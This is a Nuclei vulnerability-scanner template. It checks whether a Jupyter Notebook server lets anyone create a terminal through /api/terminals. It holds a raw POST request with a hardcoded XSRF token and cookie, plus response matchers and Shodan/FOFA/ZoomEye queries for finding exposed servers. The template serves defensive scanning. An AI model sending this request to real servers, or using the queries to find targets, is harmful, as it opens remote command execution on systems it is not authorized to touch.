jupyter-notebook-rce: Jupyter Notebook - Remote Command Execution

id: jupyter-notebook-rce

info:
  name: Jupyter Notebook - Remote Command Execution
  author: HuTa0
  severity: high
  description: |
    Jupyter Notebook is an interactive Notebook, computer application is a web based visualization, Jupyter Notebook API/terminals path there are loopholes in the remote command execution.
  reference:
    - https://github.com/SCAMagic/SCAMagicScan/blob/de8130a2280ee08d719ac6612e590b8e2678fb97/pocs/poc-yaml-jupyter-notebook-rce.py
  classification:
    cpe: cpe:2.3:a:jupyter:notebook:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: jupyter
    product: notebook
    shodan-query: title:"jupyter notebook"
    fofa-query: title="jupyter notebook"
    zoomeye-query: app="Jupyter Notebook"
  tags: jupyter,notebook,rce,bypass,vuln

http:
  - raw:
      - |
        POST /api/terminals HTTP/1.1
        Host: {{Hostname}}
        X-XSRFToken: 2|7a4faae0|819f5adf7edaef5e74502c9d0c75a604|1653492335
        Cookie: _xsrf=2|7a4faae0|819f5adf7edaef5e74502c9d0c75a604|1653492335

    matchers-condition: and
    matchers:
      - type: word
        words:
          - '"name":'
          - '"last_activity":'
        condition: and

      - type: word
        part: header
        words:
          - application/json

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100ca3fb459c332bf0ee5863ed820716fd086d06f61cd3ba0b24a82089bdb8fea09022032cdc87de1c5613f8b0a6075910706bc313c82f43c1b8ed9c96f6c83a534bdf6:922c64590222798bb761d5b6d8e72950